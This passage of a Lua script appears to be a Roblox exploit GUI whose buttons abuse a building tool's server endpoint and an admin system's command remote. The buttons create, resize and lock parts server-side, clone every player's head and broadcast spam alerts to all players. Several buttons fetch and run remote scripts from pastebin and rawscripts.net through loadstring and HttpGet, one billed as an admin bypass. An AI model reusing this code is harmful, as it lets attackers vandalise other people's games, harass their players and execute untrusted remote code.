[1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Material(part,mate) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Material"] = mate } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function toptexturecreate(part) local args = { [1] = "CreateTextures", [2] = { [1] = { ["Part"] = part, ["Face"] = Enum.NormalId.Top, ["TextureType"] = "Texture" } } } _(args) end function toptextureadd(part) local args = { [1] = "SyncTexture", [2] = { [1] = { ["Part"] = part, ["Face"] = Enum.NormalId.Top, ["TextureType"] = "Texture", ["Texture"] = "rbxassetid://0", ["StudsPerTileV"] = 10, ["StudsPerTileU"] = 10 } } } _(args) end hrpx = math.floor(char.HumanoidRootPart.CFrame.x) hrpz = math.floor(char.HumanoidRootPart.CFrame.z) hrpy = math.floor(char.HumanoidRootPart.CFrame.y) function SpawnBasePlate() CreatePart(CFrame.new(hrpx,hrpy-20,hrpz),workspace,"Spawn") for i,v in game.Workspace:GetChildren() do if v:IsA("BasePart") and v.CFrame.y == hrpy - 20 and v.CFrame.x == hrpx then spawn(function() Resize(v,Vector3.new(1000,2,1000),CFrame.new(hrpx,hrpy-20,hrpz)) Color(v,Color3.fromRGB(0,0,0)) toptexturecreate(v) toptextureadd(v) while wait(1) do pcall(function()SetLocked(v,true)end) end end) end end end SpawnBasePlate() end) end coroutine.wrap(ZLGQSDL_fake_script)() local function MFXRC_fake_script() -- TOLIT.Script local script = Instance.new('Script', TOLIT) TOLIT.MouseButton1Click:Connect(function() local player = game.Players.LocalPlayer local char = player.Character local tool for i,v in player:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end for i,v in game.ReplicatedStorage:GetDescendants() do if v.Name == "SyncAPI" then tool = v.Parent end end --HICK SI FINNY! remote = tool.SyncAPI.ServerEndpoint function _(args) remote:InvokeServer(unpack(args)) end function SetCollision(part,boolean) local args = { [1] = "SyncCollision", [2] = { [1] = { ["Part"] = part, ["CanCollide"] = boolean } } } _(args) end function SetAnchor(boolean,part) local args = { [1] = "SyncAnchor", [2] = { [1] = { ["Part"] = part, ["Anchored"] = boolean } } } _(args) end function CreatePart(cf,parent) local args = { [1] = "CreatePart", [2] = "Normal", [3] = cf, [4] = parent } _(args) end function DestroyPart(part) local args = { [1] = "Remove", [2] = { [1] = part } } _(args) end function MovePart(part,cf) local args = { [1] = "SyncMove", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf } } } _(args) end function Resize(part,size,cf) local args = { [1] = "SyncResize", [2] = { [1] = { ["Part"] = part, ["CFrame"] = cf, ["Size"] = size } } } _(args) end function AddMesh(part) local args = { [1] = "CreateMeshes", [2] = { [1] = { ["Part"] = part } } } _(args) end function SetMesh(part,meshid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["MeshId"] = "rbxassetid://"..meshid } } } _(args) end function SetTexture(part, texid) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["TextureId"] = "rbxassetid://"..texid } } } _(args) end function SetName(part, stringg) local args = { [1] = "SetName", [2] = { [1] = part }, [3] = stringg } _(args) end function MeshResize(part,size) local args = { [1] = "SyncMesh", [2] = { [1] = { ["Part"] = part, ["Scale"] = size } } } _(args) end function Weld(part1, part2,lead) local args = { [1] = "CreateWelds", [2] = { [1] = part1, [2] = part2 }, [3] = lead } _(args) end function SetLocked(part,boolean) local args = { [1] = "SetLocked", [2] = { [1] = part }, [3] = boolean } _(args) end function SetTrans(part,int) local args = { [1] = "SyncMaterial", [2] = { [1] = { ["Part"] = part, ["Transparency"] = int } } } _(args) end function CreateSpotlight(part) local args = { [1] = "CreateLights", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight" } } } _(args) end function SyncLighting(part,brightness) local args = { [1] = "SyncLighting", [2] = { [1] = { ["Part"] = part, ["LightType"] = "SpotLight", ["Brightness"] = brightness } } } _(args) end function Color(part,color) local args = { [1] = "SyncColor", [2] = { [1] = { ["Part"] = part, ["Color"] = color --[[Color3]], ["UnionColoring"] = false } } } _(args) end function ClonePart(part) local args = { [1] = "Clone", [2] = { [1] = part }, [3] = workspace } _(args) end function clonehead(player) char = player.Character ClonePart(char.Head) end for i,v in game.Players:GetPlayers() do --spawn(function() pcall(function() clonehead(v) end) --end) end end) end coroutine.wrap(MFXRC_fake_script)() local function AJNWCX_fake_script() -- solo.Script local script = Instance.new('Script', solo) solo.MouseButton1Click:Connect(function() -- Replace with your instance name local ReplicatedStorage = game:GetService("ReplicatedStorage") local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand RequestCommand:InvokeServer(";servermessage REQUIRE COMMUNITY JOIN TODAY") -- U can change all of it with your commands! RequestCommand:InvokeServer(";alert all REQUIRE COMMUNITY JOIN TODAY") end) end coroutine.wrap(AJNWCX_fake_script)() local function CSKA_fake_script() -- ama.Script local script = Instance.new('Script', ama) ama.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/7iWYPRzJ"))() end) end coroutine.wrap(CSKA_fake_script)() local function HPOPNN_fake_script() -- kylto.Script local script = Instance.new('Script', kylto) kylto.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-k00pgui-v8-F3X-EDITON-52670"))() end) end coroutine.wrap(HPOPNN_fake_script)() local function QTWSAC_fake_script() -- kyla.Script local script = Instance.new('Script', kyla) kyla.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-TrafficConeHax-f3x-gui-v3-fe-bypass-hd-admin-games-72427"))() end) end coroutine.wrap(QTWSAC_fake_script)() local function CMERDRY_fake_script() -- TextButton_2.Script local script = Instance.new('Script', TextButton_2) TextButton.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-z00kiddl-f3x-gui-leak-by-mango-and-koopusers-68979"))() end) end coroutine.wrap(CMERDRY_fake_script)() local function QYYARVA_fake_script() -- TextButton1.Script local script = Instance.new('Script', TextButton1) TextButton1.MouseButton1Click:Connect(function() loadstring(game:HttpGet("https://pastebin.com/raw/0C4fHWcm"))() end) end coroutine.wrap(QYYARVA_fake_script)() local function BTXSD_fake_script() -- ScrollingFrame.Smooth GUI Dragging local script = Instance.new('LocalScript', ScrollingFrame) local UserInputService = game:GetService("UserInputService") local runService = (game:GetService("RunService")); local gui = script.Parent local dragging local dragInput local dragStart local startPos function Lerp(a, b, m) return a + (b - a) * m end; local lastMousePos local lastGoalPos local DRAG_SPEED = (8); -- // The speed of the UI darg. function Update(dt) if not (startPos) then return end; if not (dragging) and (lastGoalPos) then gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, lastGoalPos.X.Offset, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, lastGoalPos.Y.Offset, dt * DRAG_SPEED)) return end; local delta = (lastMousePos - UserInputService:GetMouseLocation()) local xGoal = (startPos.X.Offset - delta.X); local yGoal = (startPos.Y.Offset - delta.Y); lastGoalPos = UDim2.new(startPos.X.Scale, xGoal, startPos.Y.Scale, yGoal) gui.Position = UDim2.new(startPos.X.Scale, Lerp(gui.Position.X.Offset, xGoal, dt * DRAG_SPEED), startPos.Y.Scale, Lerp(gui.Position.Y.Offset, yGoal, dt * DRAG_SPEED)) end; gui.InputBegan:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then dragging = true dragStart = input.Position startPos = gui.Position lastMousePos = UserInputService:GetMouseLocation() input.Changed:Connect(function() if input.UserInputState == Enum.UserInputState.End then dragging = false end end) end end) gui.InputChanged:Connect(function(input) if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then dragInput = input end end) runService.Heartbeat:Connect(Update) end coroutine.wrap(BTXSD_fake_script)()